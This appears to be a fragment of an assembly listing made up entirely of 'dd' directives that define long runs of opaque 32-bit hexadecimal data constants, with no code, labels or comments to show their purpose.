		dd 2785B434h, 0C0552FA1h, 0D0A8902Eh, 0F609840Ch, 6E40F7h
		dd 0AE26F5A7h, 4D4C555Dh, 53950D00h, 6D807B5Bh,	86310141h
		dd 661646BBh, 8F60BC4Ah, 0D4484CB7h, 726300B0h,	4EDE726h
		dd 1EAD780Dh, 40E41A9Ah, 83F42459h, 0AF0095D5h,	3C75D99h
		dd 308D676Dh, 5A802092h, 0A63E73BBh, 25EB8058h,	0C33F66E5h
		dd 51F70333h, 0B5245F7Bh, 0DA1B4DA9h, 0ED9BF1C0h, 0A9007D7Dh
		dd 52D9DCB4h, 303B37Ch,	7967960Bh, 3EC8379Ah, 50F6591Dh
		dd 7F4A2B1Ch, 768842C0h, 1FBC9Eh, 0EE0A8DFBh, 96877816h
		dd 0E9B4300h, 7DF81993h, 898B008Ah, 138F50FEh, 9600AD7Ch
		dd 0C3F7D568h, 50520B2Dh, 18B8436h, 5AFE6D71h, 8015E12Bh
		dd 84F860D0h, 93975h, 0EF0AB766h, 5D96D51h, 0F9486F00h
		dd 75529FBAh, 8EA91508h, 2840E061h, 0A11C003Ah,	0AD7A594Dh
		dd 0BE014CABh, 2123FBFDh, 35D09764h, 10BCA066h,	39F30070h
		dd 5880C1E0h, 0C2181FD1h, 68C127C8h, 0CAF002E9h, 7FFA184Bh
		dd 0DCFBF8A1h, 0CC4C871h, 0A4660E00h, 5C36C65h,	1BC70387h
		dd 19862697h, 89B027A3h, 460304E5h, 5C73BF59h, 0CDAB80B3h
		dd 0B44A0031h, 98DDEB90h, 0E3006C22h, 333A3B1Ah, 482E6E42h
		dd 0AD037CE7h, 34A7C02Bh, 8E72B000h, 6EA126FAh,	7FA92446h
		dd 0DB2300C9h, 0C82E3D5Ah, 9F1F5D07h, 0C51082B7h, 9E42D3h
		dd 8980464Bh, 63C836DCh, 92FF800h, 997133A4h, 0CFAB046Eh
		dd 80359ABDh, 456C5AD0h, 7BA95914h, 8C6500DCh, 2E81D708h
		dd 572F2h, 0ED54CE18h, 5D69C6D0h, 68562100h, 0FD310A2Ah
		dd 0F439071Bh, 601F320Ch, 0C09ED112h, 0C6057C00h, 0C1246C40h
		dd 0AC35039Ch, 67A3A538h, 9D2BA298h, 7AE2DA1Fh,	0DD038E40h
		dd 0E34AF13h, 3F86618Dh, 76BC4902h, 0BEEE0840h,	146AF8C0h
		dd 6CC50D8h, 16A27041h,	0AA05E820h, 0B497DF93h,	2F3F48C1h
		dd 0F12860DAh, 4109A7Ah, 0A2C404E6h, 1504803Dh,	21D2481h
		dd 501F9011h, 97BE803Dh, 1F014ECEh, 190700F1h, 4B68E743h
		dd 0D40083F7h, 73111022h, 607A61E6h, 0FBD9596Dh, 803F5807h
		dd 8B2209E4h, 8D60A00Eh, 0AC7EBE0Ch, 0A3ED26BCh, 0F2EA007Dh
		dd 8AC7736h, 269BE748h,	8D40BC67h, 0C11595Eh, 2C10AF25h
		dd 1739A869h, 89261EF9h, 0A27E4380h, 78BDA52h, 78FB1074h
		dd 920E403Fh, 30053614h, 6D8C0625h, 0FCEACC80h,	804C992Fh
		dd 5D912A72h, 250F56BAh, 5E24A48Eh, 75AF0E40h, 90F80547h
		dd 6584057Ch, 0E2BD46h,	0AF5E6CFCh, 0AB00C02Ah,	20CB4FB0h
		dd 0A04DD110h, 3A5490h,	5ABB0211h, 5731224Ch, 0BFB30A38h
		dd 140075B6h, 68FB4F5h,	0FCE1A3A8h, 9A9055h, 0D11C257Bh
		dd 46DA0FC7h, 9CD61000h, 96DE2B40h, 6DC63BCCh, 0C05C710Fh
		dd 0F08DF6E0h, 0A826B736h, 8C000029h, 5EFF6CBCh, 15F4055Fh
		dd 0E8EBF1h, 0E151D3C0h, 82006A76h, 0E978353Dh,	0EECC4B9h
		dd 0A7BA2460h, 0D76280E0h, 214857CFh, 522A0018h, 369EB263h
		dd 0C30824EBh, 0A9FB85A4h, 75E6C078h, 3814AB91h, 7ECD8897h
		dd 6D09850h, 0CCBB6000h, 38FD4E63h, 7109006Eh, 1A7F742Ch
		dd 8A071B39h, 0ADF09837h, 916C636Fh, 8025FA04h,	39616EE8h
		dd 882F2484h, 4BC9705Ch, 8A0AD100h, 44FC270Bh, 0EDCF131Fh
		dd 0DF710586h, 90D040CDh, 0BB8D1A92h, 0E9091F78h, 0A04CF210h
		dd 0C65CC82Ch, 0A68800B5h, 5D24898h, 7408807Ch,	2FFD13h
		dd 691AF87h, 0F70E26C8h, 407AD494h, 0CF3D614h, 1D8405DEh
		dd 0C1F46679h, 21778087h, 3E880020h, 0E60160FCh, 917BCE43h
		dd 0C88732D1h, 0D0D0BFD6h, 0C3EB082Ah, 0D84F7602h, 0C0E16C63h
		dd 18FA0FDh, 0CB4D4977h, 0D1BC37CAh, 92C6D4E4h,	1D1345F8h
		dd 20BD852h, 8AC900B1h,	184EDACDh, 18C8B8A2h, 0E1C1AB4h
		dd 6807EE1h, 4DD9C1F1h,	2C05FCDEh, 32C9DECh, 0D2EFC2DFh
		dd 0E3F721A0h, 7AD01807h, 5511FA3Eh, 71807BD6h,	0FBCADC5Ah
		dd 6407CB95h, 2EF152C1h, 90ED55D0h, 0A27F00C9h,	45509CF3h
		dd 0D4001CFDh, 3DF8A69Fh, 1B9BE83h, 0F1DBD5EBh,	80C32B59h
		dd 7B93AEF8h, 3047D09h,	53D9032Dh, 287AECF7h, 98D6260Bh
		dd 0AEA080DDh, 1A7E01Bh, 8AB01814h, 0D358C707h,	760680F0h
		dd 301F800h, 0B569EBDAh, 98C100F5h, 0ED5A1F6Ah,	0C8787111h
		dd 5D00A876h, 0A7E7FF42h, 16B52D2h, 0CAE10CB0h,	82DAD57Bh
		dd 0C18D55E9h, 38A0A0C7h, 0B0BA43h, 0BFACECCCh,	0FBB64F6Ah
		dd 6853DA18h, 164340h, 0D9B83F2Ah, 0CE3D0629h, 0F6E23A00h
		dd 88C35FDFh, 0FEF900DCh, 0B4057179h, 7456CAB5h, 0C08A0AACh
		dd 0AF4138D0h, 0BE2008C2h, 0BF0300D8h, 0C6E26486h, 0FA000626h
		dd 692254F9h, 733AF2E3h, 725D58A5h, 0FF50BD30h,	0E5037D9Eh
		dd 9694D144h, 9A6900BBh, 0F42F29CAh, 0E4003632h, 0E6061F2Eh
		dd 32AD9ECh, 0D2F658DDh, 60A705FFh, 0B36DF367h,	0F209D100h
		dd 0C918D95Ch, 149239h,	6B20C1B9h, 0E72F9991h, 0DDAECA00h
		dd 0D635B5DBh, 892E0064h, 0DB059FAh, 96986BF5h,	0EB92BE00h
		dd 26E2979h, 4163001Dh,	0CED3CB1h, 1971573Ah, 3CA930Eh
		dd 6404729Bh, 80BACFF4h, 2DE1C685h, 9400D27Dh, 0D4B36E5Ah
		dd 8EBF34h, 3EC1335Dh, 369FCA1Bh, 81DAB139h, 0A54DDB92h
		dd 0CEC86FE2h, 2CC94981h, 0B95B4500h, 9C158636h, 27034F8h
		dd 52385D01h, 1799B087h, 40969852h, 92AA0DEAh, 0E6FE031Ch
		dd 6C4FD79Ch, 0DBD848h,	0E03B3753h, 3AAE27C0h, 0BC5C7D9Fh
		dd 12F679h, 0D5F8C6D7h,	4A409961h, 88217400h, 0DAAF4195h
		dd 0DFA40158h, 9BBFF06Ch, 0C8C40B6h, 0F804E54Dh, 6A55D968h
		dd 64D6C482h, 1C410014h, 0E283BC77h, 7807F581h,	0A770C080h
		dd 0B7757D53h, 0C45A603Fh, 599D0A6h, 690E4BCFh,	802434CCh
		dd 5FBEB138h, 0EBCFE100h, 0AB117A9Dh, 9B29035Eh, 0EFAC851Ah
		dd 71D65BB0h, 0DB006973h, 2A56C2F2h, 1868454h, 0F0103517h
		dd 0F8DE6883h, 0E200F36Fh, 60C3C764h, 0DF63F9h,	0D3026D13h
		dd 0A7089021h, 703C8600h, 6FD27ABAh, 3AA2003Bh,	0C3489A42h
		dd 5F00876Ah, 3E99A50Fh, 90D38F64h, 44170134h, 6A704A78h
		dd 197CF4A7h, 0A0AA3200h, 14C8B7E1h, 5CECA8C3h,	0A95B0E9Ch
		dd 5F29F887h, 0E528C05h, 0F34119DBh, 0ECBF2914h, 620060C2h
		dd 6B8E47E7h, 46E094h, 0D822FE51h, 3F55D48Bh, 0BCBB4Ch
		dd 784E5BDAh, 24E0760Dh, 3C8D44h, 98BB33D1h, 0CA1DC640h
		dd 0E240FCA0h, 0F0E8D6B8h, 719A0135h, 7FBD342Bh, 0D05C2449h
		dd 0A38FA512h, 0BF272C45h, 96518AC0h, 48991F9Ch, 53A479Fh
		dd 0AB24A0FCh, 1B0019D9h, 61C02FBEh, 227CF0h, 0EC45E576h
		dd 0C6B4EF17h, 51159F30h, 3352F48Ch, 4EF8FA0Fh,	2CCD7000h
		dd 0E67DCBE0h, 0C09401B0h, 29541968h, 20DBC109h, 142F0660h
		dd 0AF76B9h, 24180CA1h,	4052E1F7h, 8D9B008Ch, 0BBA08E8h
		dd 0FA0900A6h, 5C857793h, 0F5781711h, 0CBC66518h, 9B9EA89h
		dd 9318FD99h, 55E73420h, 0C20EF67Bh, 3AE6344h, 0D8247FC8h
		dd 39F2807Ah, 0F7006BCFh, 4BDAC6E6h, 89598EB3h,	3F030014h
		dd 0E71C47ACh, 93980A7Eh, 671CCC68h, 0ED3450D1h, 9F4CA2C3h
		dd 2ABA07A0h, 0E543BC51h
		dd 79904ABh, 8BC2E49Ch,	0B131122Ch, 0F938E400h,	0DE5AC6h
		dd 27B74211h, 1C1813Bh,	30D53730h, 48E3BD52h, 6EE1A495h
		dd 0EDEEF868h, 36FE9898h, 0CF9BBC00h, 484FF094h, 3C40002Ah
		dd 731558B0h, 19165FC2h, 0C200DB8Eh, 167ADD03h,	0F5F90052h
		dd 1C9B4596h, 8C903122h, 8BCC101h, 0E12DFC0Bh, 2EB6E080h
		dd 722F1075h, 0FFD8410Fh, 0FECA0E3h, 0AA4302h, 0B6CB23C9h
		dd 0ED2001E0h, 4028620Ah, 0F5029CB5h, 0ABA1C6AAh, 3180DFB0h
		dd 0B005D8F6h, 198C5C30h, 24F01504h, 8A283E7Bh,	80A4BDD8h
		dd 5D9DC453h, 7F54E522h, 8C1E540Ch, 96C0846Bh, 351C2579h
		dd 9DDB123Fh, 0BC9C508Fh, 75FCF0C2h, 549884C8h,	14D12800h
		dd 6EBA0997h, 6DBC00B5h, 4992CCE5h, 0E8F6B837h,	9682F00h
		dd 11AF8131h, 9F71240Eh, 61E300D0h, 78D9A8DCh, 4BB0F50Eh
		dd 40007328h, 12FC69ABh, 791F0101h, 3A78E219h, 641024B8h
		dd 5C5FEC00h, 2F04EF1Ah, 2C844858h, 48E900A7h, 5906A1C2h
		dd 0D4679BE6h, 16F500C0h, 65C62B37h, 0B801DB4Ch, 0CD6E5346h
		dd 88501CB6h, 23C275Fh,	0DA087464h, 0AC80ED10h,	301B9F9Dh
		dd 0B71187FBh, 8EC26673h, 1AB8402Ch, 91800D56h,	0C820F359h
		dd 5E7FE8A7h, 0BB8C411Bh, 95610022h, 0EC0881CDh, 5E00CFB4h
		dd 36D820B7h, 267BC11Bh, 2CD852FFh, 20C84DACh, 0EB095530h
		dd 0A0B28FB3h, 0B64CCA98h, 0FDD9C05Dh, 0B0ADFE6Dh, 25130E00h
		dd 0E359C1FCh, 4578051Ch, 803585FAh, 0EADB5A84h, 0D6B2A513h
		dd 0DC7AC003h, 209903D9h, 0AFE18E90h, 282E1101h, 0CF418051h
		dd 0EEB7BAD7h, 0C1112828h, 0DBF600BCh, 9BEB2A9Ah, 0A1C1B56Dh
		dd 7ECCC431h, 588CD9E4h, 0BE05C6A7h, 9A68EE6Bh,	316D0068h
		dd 68A7E4FCh, 1B030F2Dh, 0A0C23A5Dh, 18C7E3B5h,	1175FA0Ch
		dd 0F977B4h, 0FC90173h,	648F390h, 5A106300h, 93F6A6C1h
		dd 4E1500CDh, 2357E483h, 98A4C8B8h, 8200CE49h, 0A02CF337h
		dd 6E6DAEF4h, 877AD4h, 0F832B063h, 7945AC5Ch, 48B0CF7Ah
		dd 47327263h, 0EFE6A887h, 18E800ADh, 8FB5E489h,	94A06533h
		dd 9016D9F4h, 440059EDh, 6ABEF8DAh, 7FDE000Dh, 963AFC9h
		dd 0EAFEB966h, 5D221300h, 0D3AE78Ch, 346058BFh,	3BC3C002h
		dd 84999042h, 0F42802h,	6CAF2F74h, 0D652Ch, 2B6038DDh
		dd 3FE11563h, 82E0A93Dh, 0AD9CF1Ch, 1228C1B2h, 7D7E840h
		dd 0E50B0893h, 0F707A5E3h, 52B03ADCh, 7C4D6DD0h, 0FDB72632h
		dd 4882644h, 90546AEBh,	0A026D83Ch, 32B1FB00h, 4065E951h
		dd 0E1776B6h, 0A4A1BCC4h, 0C2925845h, 4860F9A4h, 8713F475h
		dd 58478159h, 7886531Dh, 0F4FBA051h, 9B2E24E2h,	0C084C97Ch
		dd 0E3634117h, 0F0239B2Ah, 0C9031B48h, 4CBBF7F9h, 0D9B481E8h
		dd 455F7117h, 0CEF05040h, 0D5BA52h, 7316B50Fh, 9FA04931h
		dd 0BB83F0E5h, 7C9DD8C2h, 0A59C602Fh, 110A0B1Dh, 95003156h
		dd 0D71433BBh, 34BF0E00h, 3B1D6769h, 0C76F01B9h, 4C076185h
		dd 6E8BDC4Eh, 870B891Fh, 8F7F38C0h, 0C8C073h, 8C2FD2D7h
		dd 6179FF8Eh, 27F90604h, 0F4C0669Ah, 0C3E207A0h, 50E6D048h
		dd 0E17C3800h, 0A8A17DF4h, 0E5B600BEh, 297502DCh, 62075C67h
		dd 0C5743D0h, 619433h, 0F6D48789h, 2C0D0B5Dh, 6B99B500h
		dd 0B21DDCE8h, 3F1E30D3h, 3E6C348Eh, 88710600h,	0AF42F402h
		dd 0B16A39C1h, 0B02406F4h, 48F55BCCh, 3EC09D0Ah, 0D30008CDh
		dd 31E3C565h, 0C4C60E4Fh, 8CC1FD55h, 0CCF3CE89h, 0CA14D633h
		dd 74941988h, 0B21E6200h, 9CE5055Ah, 5156126Fh,	0DCDD062Ah
		dd 7348118Ah, 11DB00E6h, 3E5E2E4Eh, 37E8C7h, 0DEA87FE1h
		dd 7EADE2D7h, 5BCB7502h, 4023A251h, 7FA6F0ADh, 2FE50067h
		dd 50D90D2Bh, 5F00E8D1h, 80339F96h, 1D27BEEDh, 80E613B1h
		dd 3D078E05h, 0B005EFEh, 0FC7023A7h, 0E6B28h, 0D87B9F64h
		dd 3A899A6Ch, 0F746F900h, 48BDCC39h, 4CA4A8E9h,	0D9CB0066h
		dd 77D54D08h, 0C18FC3Eh, 2B08180h, 0D2EE3A4Fh, 19044401h
		dd 80A57AAEh, 0F44C4338h, 286C6951h, 7F9C1CE7h,	0A6C600F0h
		dd 2560A991h, 0B500FAF2h, 0C3539F88h, 4742A7h, 87C58F80h
		dd 3C582EFCh, 0E8407800h, 545C4148h, 98300685h,	80B53DE2h
		dd 65737A00h, 0FB58B9FAh, 0C2DE00E5h, 6E74D8D1h, 2CF2EE4Ch
		dd 3010EA00h, 2FA043A1h, 0D6480089h, 1E5E34EDh,	0C904E11Ch
		dd 7210CBA7h, 446E1481h, 40E0E8h, 4F9F200Dh, 6BF05B18h
		dd 367D6200h, 0B65A5CBDh, 0F15E3080h, 0B90609D1h, 5258F000h
		dd 0ECB7419Dh, 53F0081h, 68F98E80h, 99010B5Ah, 1B5C923Bh
		dd 7820EFD5h, 0B8300069h, 1663769Dh, 2E1E3306h,	71CE41E4h
		dd 0A3FCC485h, 24701890h, 0FB01004Bh, 77EFDEDFh, 142C4974h
		dd 1F0389D4h, 0C099486Fh, 12D1FDCCh, 30EDE5CFh,	7BC658D4h
		dd 4A535407h, 0E9E42365h, 0B928891Fh, 116EAC0Ch, 307DD6C0h
		dd 4F6A988h, 55CD4325h,	0D8C48371h, 0C7FA91D8h,	2E44A601h
		dd 321F6C12h, 476DCh, 372F3BA2h, 71D7080Bh, 84C2BE02h
		dd 90D094CDh, 24B91D64h, 0C3DC10A8h, 5B90CD50h,	51E0C29Bh
		dd 0C1D1326h, 807D9B73h, 0C9487AAh, 268C1EAEh, 9B00B921h
		dd 4A78BEC9h, 307A89C2h, 0F1707029h, 0A700D97Bh, 99E6F39Dh
		dd 3FD3FAC8h, 651C27BAh, 3610C184h, 20F037A2h, 74004838h
		dd 8A2F0F53h, 0B50B43h,	0A3DC22CCh, 0C3DE888Dh,	751C8B7Bh
		dd 0A0C3C94Ah, 88123531h, 1A961B5h, 1053432Eh, 6065D406h
		dd 250A6D4Fh, 807FB16Bh, 0FF0017A6h, 987E7241h,	5B99091Bh
		dd 100045E8h, 0CEE30944h, 0F81DAFF8h, 0A88077C2h, 48BF1A2Bh
		dd 7C892E5h, 85F10150h,	0C50F8023h, 5B01023Ah, 0D7ABA34Bh
		dd 0E2C0642Bh, 5371C1B1h, 80D87493h, 2E0B7598h,	7F06D967h
		dd 0CBE4C1h, 11BAC0BFh,	0C8525A92h, 61F92F01h, 3715E30h
		dd 44888042h, 20600198h, 5094D22Ah, 440F0E2h, 1B676B00h
		dd 0E680211h, 79C3601Ch, 0DE9B993Dh, 67072218h,	1F5E6AB8h
		dd 4CC69102h, 0DE296092h, 0A08BFCE1h, 58701324h, 66167484h
		dd 0A0C08E82h, 490511F0h, 4F0A004Ch, 0EFE5A508h, 3C000C2Ch
		dd 0DEEE8C54h, 1AA38h, 5935ADB1h, 37701B21h, 6CB248h, 41BB9650h
		dd 73E6B4C9h, 0D45E3007h, 2FF3D158h, 0AD66FB04h, 0E0C0263Fh
		dd 2A23456Bh, 5CB8B46Ch, 4B072438h, 70DAE492h, 0A69B067Ch
		dd 9A7F8300h, 0FA3128F9h, 97B70130h, 45A00D84h,	3683D0BFh
		dd 3DCFB200h, 54461475h, 471E1F0Bh, 63FB8050h, 51FD77C6h
		dd 0DC4EEA0Ah, 80BC8883h, 7A095C39h, 30753Bh, 7C2D2A3Eh
		dd 515327A0h, 8434D716h, 0BBFB4C45h, 0D0639081h, 0D917F057h
		dd 0C2F98D61h, 2E1E5F8h, 84A8BFFAh, 7040B74Eh, 0F3007547h
		dd 347DB92Dh, 647498F7h, 0C06DF805h, 9DA1DA90h,	730D148h
		dd 952C0E6Eh, 8949D640h, 3AD00042h, 0DBEFE73h, 0CF00EC96h
		dd 0D1993559h, 0A0880629h, 18756998h, 11A6830Fh, 0E0B07462h
		dd 0E401A3F4h, 2E464D28h, 2D30377Fh, 83D33CA9h,	0AE995300h
		dd 59B0CEAh, 85E0F460h,	57B47Dh, 8F0709A1h, 8931FE58h
		dd 80730C3Ch, 402B140Fh, 64DF73Ch, 0B9679626h, 3F00A922h
		dd 0E6EB476Eh, 502B2077h, 378051h, 0CF8DF3E2h, 9F47DF91h
		dd 56A77207h, 58B0E88Ch, 7AAEBB05h, 4A730083h, 0E5F7481Ch
		dd 95FAEE9Fh, 0B254C4E8h, 7E0001D4h, 1E67083Ch,	0C042D5B0h
		dd 3F13FD78h, 0DC7438E3h, 7151571Dh, 0C853167Bh, 36B54000h
		dd 5CA63D87h
		dd 9C812425h, 2051AF5Ah, 7314E748h, 9C66F3h, 246D6777h
		dd 24B0388Ch, 0BA48E649h, 4CEE1680h, 9F777C7h, 3CF69476h
		dd 0FD735576h, 0B8499001h, 87628427h, 4A065983h, 700E184Eh
		dd 40CCBA89h, 6C1FCD90h, 1E17006Dh, 0FF822064h,	56006225h
		dd 0EF5A5558h, 5E5CDC7h, 46B0747Bh, 0C8992Fh, 0EB3EEA88h
		dd 9A75B1C3h, 72D81D1h,	9450D5F1h, 123F1Fh, 0B1AE5450h
		dd 0E2E4A7Bh, 87641109h, 84308A0Dh, 6572F400h, 0FA5C2468h
		dd 0A2F3312Fh, 54713141h, 2E946084h, 0F4D8592h,	1965C150h
		dd 0B1DCE373h, 95E900DDh, 0D1D3EEB2h, 232E9A4Dh, 0F90216B7h
		dd 413EB053h, 4462D738h, 82770F85h, 3120BF58h, 609C71ADh
		dd 811F7852h, 3EFE2F5Dh, 2DD29400h, 95CEBAB4h, 76C300ACh
		dd 3629E96Ah, 24F2DCE4h, 35D85400h, 0B60BF7Fh, 26E7E802h
		dd 981803h, 0B26D5B4Ch,	0FF00AB29h, 30749B72h, 1C607870h
		dd 26B49199h, 332C0276h, 0F8A022B8h, 384E5B73h,	49011BF2h
		dd 6E4F50D0h, 0CC60550Ch, 0AEA300E7h, 0FA36DB85h, 3D0E8F87h
		dd 0D8ADA5h, 6503B280h,	0C7B30051h, 1A2E935Ah, 2C927FA7h
		dd 9C88C8FDh, 8D323300h, 0BE0759D4h, 0AD0F0045h, 56FE54FCh
		dd 6898D819h, 65692B00h, 179CE063h, 33AD0910h, 9C4C6FA6h
		dd 2780B416h, 199CC441h, 90419F32h, 6410E86Ch, 20491EC5h
		dd 0A44075Ch, 0E8B4A30Ch, 82DD881h, 41FCA865h, 0AFF286Eh
		dd 0C59E0CF8h, 45B9C16Dh, 7205D8F3h, 88E4AE2Eh,	16034D00h
		dd 0AA9383h, 222138A9h,	0AC29E176h, 702E8605h, 0D9039BFFh
		dd 0E06C27FDh, 27CA0F2h, 5F023E82h, 8060FC01h, 62E60C74h
		dd 0E8034Ch, 395B930Bh,	0B64DD7h, 2C74902Eh, 11175D5Ch
		dd 0BD729412h, 39542440h, 26A52BB9h, 0C4BC4h, 0A4731E06h
		dd 4A0035DFh, 2B7D1207h, 0EA3109h, 0A67BDA3Ah, 9740856Ah
		dd 0B4FC4E09h, 4938007Ch, 9674A310h, 0ED79C260h, 0BD48DC98h
		dd 0B4DD182Ah, 5E07CCEFh, 5D757678h, 0C060844Ch, 8FEF7394h
		dd 8DF409D4h, 889EB24h,	44003016h, 37536722h, 198126h
		dd 0C741B14Fh, 187EE999h, 1F66D901h, 2F604CE6h,	0D49CE801h
		dd 0B8B026D2h, 0A7E25400h, 7E3555CAh, 1C603E31h, 0F200F448h
		dd 0FC075C78h, 8A00801Bh, 578E0AB6h, 6F0DC0h, 810CBF6Eh
		dd 48346AD9h, 0E990AD64h, 40248C92h, 5027D8h, 94751CEAh
		dd 0B653D55Ah, 0BCF3FE28h, 0CA55B000h, 0B1EDD127h, 0A0C50AF8h
		dd 493CC7FDh, 0F42C3F74h, 0D8C9B645h, 0BCE0442Ch, 692630F9h
		dd 6106F2B9h, 1C89003h,	3E6844FEh, 0C8452C29h, 189AAEE7h
		dd 4E922401h, 9A7375EAh, 432F851h, 0D900A862h, 0FF155103h
		dd 0B103CF7Bh, 13194EB7h, 0A76FD843h, 0F8FE01F5h, 0CED6E9BBh
		dd 0B1ACFC6Dh, 9B1EBC02h, 0E2B6F455h, 0CE48DDA0h, 36062801h
		dd 5CA4ED16h, 174D0080h, 7F0F3306h, 0C010268h, 0FD6A5B65h
		dd 98354875h, 0C4E434h,	0BE261550h, 721A65F6h, 3CBD9901h
		dd 62B46FA5h, 66E8D181h, 0DC710563h, 6C09BEF8h,	0C6C0657Fh
		dd 2D89810h, 66231B3h, 986E8D44h, 17102F01h, 0F05C9B22h
		dd 1100582Ch, 0DAA70199h, 3F00B549h, 8FA9240Fh,	4D3CD51Ah
		dd 2B2B8475h, 0B16401ACh, 651888CAh, 0F3C402CCh, 4B00850h
		dd 0E508709h, 17E4C684h, 790D9Fh, 88A4DA2Ch, 7B1402CAh
		dd 0E0F8CF3Ch, 4C36B132h, 2B07D008h, 10D68460h,	0A93CAA35h
		dd 0D5013C98h, 0DF967173h, 9C2D7B92h, 0FF688B00h, 0B33EDB40h
		dd 51B78800h, 7F100B5Ah, 23900B4h, 653BA2F4h, 48C06B40h
		dd 376327F2h, 0A3F63DE6h, 7006C880h, 0DFD699BAh, 4828AF5Ch
		dd 4D3300E8h, 40EF63EBh, 0C19D09D4h, 0DCB49E3Ch, 0D20C90FEh
		dd 0D9218D25h, 0F0DD09A8h, 0B0A1FE95h, 80D15DB4h, 0E7B33C39h
		dd 1A2A32DDh, 0D08A5FD7h, 9BA40080h, 0EA04572Bh, 0F025B367h
		dd 950740B3h, 0D01BDADDh, 0C3973D7Ah, 0C73C555Ch, 80796C22h
		dd 0FE68B4D4h, 626A0024h, 0B3EF2937h, 434A4B4Ch, 9080E424h
		dd 748FD73h, 1A2F6792h,	0D4878B8Ah, 0B1585191h,	68DF702Dh
		dd 0EA42B001h, 2F25D540h, 0CE00804Ah, 26F80E9Dh, 24006286h
		dd 0C2A813Bh, 4CA13011h, 0A8009802h, 38DCE5C5h,	3A002C75h
		dd 830CFC41h, 0C5EFFE72h, 40DE2A4Eh, 98395E9Ch,	4227EE4Ah
		dd 57C4308Ch, 45020443h, 87F7F468h, 4F14A234h, 1FD240C0h
		dd 780F421Fh, 59E560Bh,	1080AF20h, 16656702h, 23C65CFFh
		dd 0B6C108E4h, 6C9BCB2h, 6C652843h, 73D4B092h, 50680283h
		dd 739214CAh, 784C9809h, 50D3739Eh, 60D4B872h, 4110498Ch
		dd 109430A7h, 8150908Bh, 206957D8h, 1C2172C0h, 879C189Bh
		dd 0B1F388ACh, 0C86DBE68h, 0F100DCE6h, 0F6959E8Dh, 0C2515Bh
		dd 0BD852104h, 2D8C14Fh, 20256612h, 0E1B57C0Fh,	48509EBCh
		dd 0EE3C5C80h, 89B98C7Bh, 0A700DC74h, 35FA82B8h, 88AD4Eh
		dd 38E9D24Ch, 942A1F08h, 7E014604h, 0F8A01C8Fh,	5C267298h
		dd 0A1187C6Fh, 3E11D18Dh, 8025A625h, 8B84E310h,	49A9056Ah
		dd 9CD226C0h, 0C3B8552Ch, 66793F00h, 5134EC18h,	64E500FEh
		dd 36F850C3h, 0CC03ADC0h, 0D5F48ABh, 0E8D6F3h, 0A54A892Dh
		dd 273E5344h, 2E627A0Eh, 5046A0B8h, 5CB73BE3h, 5E247C74h
		dd 8D402994h, 10197541h, 5C0866F4h, 4CBA7801h, 408D24FDh
		dd 5826BC31h, 8336C402h, 446EBC41h, 0A00737Eh, 21486EAh
		dd 0EA0D94CAh, 5DA877E1h, 0B1029C2Eh, 79C5461Dh, 0C8F96050h
		dd 0E200CD7Eh, 9BEDAC4Dh, 20788B9h, 0BF8AF4A1h,	1C481847h
		dd 6E183E70h, 0E1A1094Bh, 0A85624DBh, 2FC282Ch,	9E31E9ADh
		dd 0B450A964h, 0D416304Ah, 664C00C0h, 74F3003Fh, 619A3A3Bh
		dd 8809623Ch, 677D147h,	1228BE5Bh, 40CA1C67h, 887E5098h
		dd 2A48FCC4h, 0B4D8A58Ch, 0C0702D9Dh, 6891A0A2h, 0D0EE7462h
		dd 0BCD6922Ah, 0F10F3A01h, 216D731Ch, 30582C60h, 4051BA0Ch
		dd 0B8504D6Eh, 0B700B490h, 233876C7h, 5016D593h, 74C8B8Fh
		dd 122A4DF0h, 29889009h, 0A24C1C01h, 83861E3h, 1A31B4A3h
		dd 63E41460h, 0F767788Ch, 0D82D5C80h, 2E361B01h, 0D29238CEh
		dd 59A04878h, 4600E337h, 79D2E126h, 0B92AF5D3h,	52F40440h
		dd 5900B08Eh, 0D53AA100h, 7CA84BF2h, 0E8BA2Bh, 3F331DB0h
		dd 0C30B8782h, 0F9264200h, 8CE817C7h, 7DB798Dh,	16B31E68h
		dd 0C3632053h, 0EE0BE3BEh, 23CD9847h, 0BA283EF4h, 6DD440E0h
		dd 93DA24D0h, 8A5903BDh, 38B9C80Eh, 14C0FAFCh, 0CC01AF62h
		dd 43FA1686h, 0D8A6B74Eh, 95C95898h, 144049h, 0C21CD5B3h
		dd 79046D35h, 0BFBB01BCh, 0DD578376h, 31C8656Bh, 0CFC9C4CEh
		dd 0BF125F00h, 9FFBA5BDh, 0B0F6FEA9h, 44B61624h, 9DB42089h
		dd 7C0095DAh, 7646582Eh, 902BB455h, 0E02C9E3Dh,	6676283Bh
		dd 0A1567F05h, 0E0E6BF3Eh, 0FCFE7383h, 0EF9C5EB1h, 0E57AAFB8h
		dd 90BE772Eh, 17720C3Bh, 55E9D1h, 0D6428E0Ah, 0A5D0A44Ah
		dd 0B0DFF600h, 7123827Bh, 0FA8C020Dh, 2F7C53FCh, 6742847Ah
		dd 5A582407h, 98205170h, 0B0CC3951h, 0BC29D5Eh,	0F395AC74h
		dd 34671011h, 6371051Ch, 6D006274h, 0E38E0C46h,	0B43645h
		dd 8C1D24EAh, 50C101CFh, 0FF514900h, 0A10D6A32h, 99AC0329h
		dd 868E2FFEh, 3E6596F0h, 1405F590h, 98660844h, 5ACD90CCh
		dd 949C2003h, 5500E7F7h, 646627E0h, 61A3F3h, 2CED6B0Bh
		dd 3CC79C5Bh, 3D4488BEh, 0E99974D0h, 86820498h,	83522927h
		dd 0F00359CFh, 676DFF6Ch
		dd 6281C07Eh, 0F69700BFh, 894EEFDEh, 0EE00D329h, 73195B31h
		dd 143798h, 71BBA06Ch, 7D160CB1h, 0AA3BF905h, 44C005E3h
		dd 125520C5h, 95821570h, 6A9C806Ch, 640138E7h, 7FF2DE93h
		dd 0C9D0AABAh, 1D9A15FCh, 791CB8E8h, 8F89400Ch,	18646C1Ah
		dd 120DBF00h, 0DB315CA8h, 13CC0083h, 0C754BEE6h, 2C91DED3h
		dd 71BA5541h, 0C9E94835h, 0F802E60h, 786C0AD5h,	0A8E0AEE1h
		dd 9F19E4A4h, 501326E2h, 0E8803164h, 0C067CBA6h, 5347E0BAh
		dd 79005D08h, 1D3A02A0h, 38093D93h, 5808C59h, 111839A4h
		dd 270D0E94h, 79AD7E48h, 90C7D920h, 0C3290C9Ch,	5819D54Ch
		dd 7A100913h, 0A206B0D0h, 0F14027D8h, 6C74D880h, 0F8942C1Ch
		dd 0A7F06052h, 0C849D283h, 2C0070F8h, 0ECB22864h, 5E588F26h
		dd 2B7400D4h, 43734177h, 0B0642200h, 115437CDh,	69871618h
		dd 56F04032h, 8DA75209h, 347A1C00h, 9F2E1462h, 38E34808h
